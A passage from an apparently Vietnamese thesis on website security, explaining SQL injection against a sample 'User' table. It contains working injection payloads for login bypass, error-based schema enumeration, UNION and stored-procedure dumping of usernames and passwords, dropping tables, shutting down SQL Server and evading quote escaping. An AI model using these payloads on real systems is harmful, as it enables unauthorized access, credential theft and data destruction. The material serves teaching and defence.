Chèn câu lệnh truy vấn SQL (SQL Injection)

Một phần của tài liệu Nghiên cứu bảo mật thông tin cho hệ thống website (Trang 48)

2.2.1. Khái niệm SQL Injection

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình web về phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access, MySQL hay IBM DB2 [2], [9], [12].

Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến cơ sở dữ liệu. và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng.

2.2.2. Giới thiệu mô hình cơ sở dữ liệu

Đề trình bày tốt hơn nội dung kỹ thuật này, luận văn sử dụng bảng User để minh họa kỹ thuật tấn công.

2.2.3. Các cách tấn công

2.2.3.1. Kỹ thuật tấn công SQL Injection

Dưới đây là kỹ thuật SQL Injection đơn giản nhất, dùng để vượt qua các form đăng nhập.

Ví dụ 2.2.1-1: Giả sử ứng dụng web có đoạn mã sau:

SQLQuery = "SELECT tkUsername FROM User WHERE tkUsername='" &

strUsername & "' AND Password = '" & tkPassword & " ' "

flag = GetQueryResult (SQLQuery)

if flag =" " then

check = FALSE

else

check = TRUE

end if

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check = true ngược lại check = false.

Giá trị nhập vào là:

Username: ' OR ' '=' Password: ' OR ' '='

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE thUsername = ' ' OR ' '=' ' AND Password = ' ' OR ' '=' '

Câu lệnh trên so sánh trên luôn luôn đúng (vì „‟ luôn bằng „‟). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn.

 Ký tự “ ; ”: đánh dấu kết thúc một câu truy vấn

 Ký tự “ -- ”: ẩn chuỗi ký tự phía sau nó trên cùng một dòng

Ví dụ 2.2.1-2:

Username: ' ; drop table User -- Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE thUsername = ' ' ; drop table User-- AND Password = ' " & tkPassword & " ' "

Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.

Ví dụ 2.2.1-3: Một ví dụ khác sử dụng ký tự đặc biệt SQL để thâm nhập vào hệ thống

như sau:

Username: admin '-- Password:

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE thUsername = ' admin' -- AND Password = ' " & tkPassword & " ' "

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password.

2.2.3.2. Tấn công dựa vào câu lệnh SELECT

Ngoài kỹ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp.

Khái niệm Direct Injection

Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nháy đơn hay dấu ngoặc kép là trường hợp direct injection.

Ví dụ 2.2.2-1:

strSQL ="SELECT tkUsername FROM User WHERE tkUsername =" & tName

Khái niệm Quote Injection

Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote injection.

Ví dụ 2.2.2-2:

strSQL ="SELECT tkUsername FROM User WHERE tkUsername =' " & tName & " ' "

Đề vô hiệu hóa dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi ký tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:

strSQL="SELECT tkUsername FROM User WHERE tkUsername=' ' AND ' '=' ' "

Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có ”)”:

Ví dụ 2.2.2-3: Giả sử:

strSQL ="SELECT tkUsername FROM User WHERE (tkUsername=' " & tName & " ' ")

Thì cú pháp hợp lệ như sau:

strSQL ="SELECT tkUsername FROM User WHERE (tkUsername=' ') OR ' '=' ' "

Ngoài ra ký tự % thường được dùng trong những trường hợp tìm kiếm thông tin.

Ví dụ 2.2.2-4:

strSQL ="SELECT tkUsername FROM User WHERE tkUsername like '% " & tName & " ' "

2.2.3.3. Tấn công dựa vào câu lệnh HAVING

HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 2.2.3.4.

2.2.3.4. Tấn công dựa vào câu lệnh kết hợp UNION

Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT.

Ví dụ 2.3.3-1:

strSQL ="SELECT tkUsername FROM User WHERE tkUsername like '% " & tName & " ' UNION SELECT tkPassword from User"

Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User.

Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường.

Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVINH, GROUP BY, UNION:

Ví dụ 2.3.3-2: Nhắc lại câu truy vấn cần để đăng nhập:

SQLQuery = "SELECT tkUsername FROM User WHERE tkUsername='" &

strUsername & "' AND Password = '" & tkPassword & " ' "

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “HAVING”, như ví dụ sau:

Giá trị nhập vào:

Username: 'having 1=1- - Lỗi phát sinh:

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'User.tkUsername' is

invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Nhờ lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là tkUsername.

Sau đó sử dụng GROUP BY:

Ví dụ 2.3.3-3:

Username: 'group by User.tkUsername having 1=1- -

Lỗi phát sinh:

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'User.tkPassword' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy vấn.

Tiếp tục dùng GROUP BY cho đến khi biết được cả các trường trong bảng User tham gia vào câu truy vấn.

Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:

Ví dụ 2.3.3-4:

Username:'union select sum(tkUsername) from User

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

[Microsoft] [ODBC SQL Server Driver] [SQL Server] The sum or average aggegate operation cannot take a varchar data type as an argument.

Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”.

Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ thông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User.

Ví dụ 2.3.3-5:

Username:'; insert into User(tkUsername,tkPassword) values ('admin','') - -

Hacker thêm nội dung như ví dụ 2.3.3-2 bây giờ thành người quản trị mạng mà không cần mật khẩu để chứng thực.

Ví dụ 2.3.3-6: Minh họa một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User:

 Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau:

create proc test as

begin

declare @ret varchar(8000) set @ret=':'

select @ret=@ret + ' ' +tkUsername + '/' + tkPassword from User select @ret as ret into foo

end

Thực thi câu lệnh bằng cách nhập vào form.

Username:';Create proc test as begin declare @ret varchar(8000) set

@ret=':'select @ret=@ret + ' ' + tkUsername + '/' + tkPassword from User select @ret as ret into foo

 Bước 2: Gọi Stored procedure đó

Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:

Username:'; exec test

 Bước 3: Dùng UNION để xem nội dung bảng foo

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value ': admin/passofAdmin tranhang/passoftranhang minhduc/passofminhduc to a column of data type int.

Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsername và mật khẩu tkPassword.

 Bước 4: Ngoài ra hacker còn có thể cẩn thận xóa bảng foo để xóa dấu vết:

Username:'; drop table foo - -

Ví dụ 2.3.3-7: Còn đây là một cách khác để xác định nội dung của bảng User, còn một

phương pháp tìm kiếm thông tin như sau:

 Bước 1: Tìm tuần tự từng dòng trên bảng User

Username:' union select 1,1

Hoặc:

Username:' union select min(tkUsername), 1 from User where tkUsername >

‘a’ - -

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value 'admin' to a column of data type int.

Người đầu tiên trong bảng User là “admin”.

 Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau:

Username:' ; select min(tkUsername), 1 from User where tkUsername > ‘dmin’

union select 1,1 from User

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value 'tranhang' to a column of data type int.

 Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User.

 Bước 4: Để biết thêm về tkPassword, có thể thực hiện như sau:

Username:' ; select tkPassword, 1 from User where tkUsername=’admin’ union

select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value 'passofAdmin' to a column of data type int.

Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES.

Ví dụ 2.3.3-8:

Select TABLE_NAME from INFORMATION_SCHEMA.TABLES

INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‟User‟

Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.

Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.

Ví dụ 2.3.3-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách

sau:

Username:' ;select @@SERVERNAME union select 1

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value 'MINHDUC' to a column of data type int.

2.2.3.5. Tấn công dựa vào câu lệnh INSERT

Từ khóa INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng ký người sử dụng, guestbook,… v.v…

Kỹ thuật “;”, “- -“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số).

Ví dụ 2.3.4-1:

SQLString =”INSERT INTO User VALUES („” & strUsername & “‟,‟” & strName & “‟,‟” & strPassWord & “‟,‟” & strLimitSize & “”)”

2.2.3.6. Tấn công dựa vào STORE PROCEDURE

Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.

Ví dụ 2.3.4-2: Stored Procedure sp_login gồm hai tham số là username và password.

Nếu nhập:

Username: tranhang

Password: '; shutdown- -

Lệnh gọi stored procedure như sau:

exec sp_login 'tranhang', ' ' ;shutdown - -'

Lệnh shutdown thực hiện SQL Server ngay lập tức.

2.2.3.7. Một số kỹ thuật tấn công bổ sung

2.2.3.7.1. Chuỗi ký tự không có dấu nháy đơn

Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy.

Ví dụ 2.3.4-3:

Function escape (input)

Input = replace (input , " ' ", " ' ' ") escape = input

end function

Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm “char()” như ví dụ sau:

Ví dụ 2.3.4-4:

INSERT into User VALUES(666, char(0×63) + char(0×68)+ char(0×72)+ char(0×69) + char(0×73), char(0×63) + char(0×68)+ char(0×72) + char(0×69) + char(0×73), 0×ffff)

Ví dụ 2.3.4-4: Ví dụ 2.3.4-4 tuy là một câu truy vấn không có dấu nháy đơn nào nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với:

INSERT into User VALUES(666,‟chris‟,‟chris‟,255)

Hacker cũng có thể chọn username, password là số để tránh dấu nháy như ví dụ sau:

Ví dụ 2.3.4-5:

INSERT into User VALUES(666,123,123, 0×ffff)

SQL Server sẽ tự động chuyển từ số sang chuỗi. 2.2.3.7.2. Tấn công hai tầng

Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị ch n đoạn mã SQL.

Ví dụ 2.3.4-6: Để đăng ký account trong ứng dụng, nhập username như sau:

Username: admin „- -

Password: passofadmin

Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau:

INSERT into User VALUES(123,‟admin‟ „- -„,‟password‟, 0×ffff)

(nhưng trong cơ sở dữ liệu sẽ lưu là “admin‟- -“)

Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau:

oldpassword = escape(Request.form(“aldpassword”)); var rso = Server.CreateObject(“ADODB.Recordset”);

var sql =”select * from users where usename = „ “ + username + “ „ and password = „ “ + aldpassword + “ „ “;

rso.open (sql, cn) if (rso.EOF) {…

Câu truy vấn thiết lập mật khẩu mới như sau:

sql = “update users set password = „ “ + newpassword + “ „ where username = „ “ + rso(“username”) + “ „ “

rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin‟- -

Câu truy vấn lúc này như sau:

update users set password = „password‟ where username = „admin‟- -„

Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình.

Đây là một trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những ký tự này. Ví dụ: O‟Brien.

Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thực hiện được, thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ.

Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng.

Ví dụ 2.3.4-7: Giả sử cả username và password đều bị giới hạn tối đa 16 ký tự. Nhâp: Username: aaaaaaaaaaaaaaa’

Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 ký tự nên dấu nháy đơn vừa được thêm sẽ bị xóa mất. Câu lệnh SQL như sau:

Select * from where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown- -‘

Kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ 2.2.3.7.3. Tránh sự kiểm soát

SQL Server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX, cho phép ghi nhận nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự kiện T- SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị ghi nhận và nhờ đó mà

Một phần của tài liệu Nghiên cứu bảo mật thông tin cho hệ thống website (Trang 48)